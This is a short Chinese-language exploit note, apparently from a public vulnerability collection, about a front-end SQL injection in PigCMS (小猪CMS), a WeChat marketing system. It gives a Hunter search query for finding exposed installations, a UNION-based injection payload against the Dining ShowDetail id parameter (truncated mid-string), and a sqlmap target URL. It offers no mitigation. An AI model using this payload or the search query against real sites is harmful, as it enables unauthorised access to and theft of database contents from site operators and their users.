# P2-1PigCMS-小猪CMS-SQL

## 漏洞描述：

PigCms（又称小猪CMS）是一个基于php+mysql的多用户微信营销系统，是国内使用较多、功能强大、性能稳定的多用户微信营销系统。PigCms存在一处前台SQL注入漏洞，攻击者可以通过该漏洞获取数据库敏感信息。

### 网站图片：



## 网络测绘：

### Hunter 语法：

- hunterweb.body="/tpl/Home/pigcms/common/js/daohang.js"

## 漏洞复现：

payload：

```
/index.php?g=Wap&m=Dining&a=ShowDetail&id=3 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a717071,0x56416e6e6d4b697077546c6c5057524c687776654847535a6c4c4e44
```

效果图:

sqlmap

```
/index.php?g=Wap&m=Dining&a=ShowDetail&id=3*
```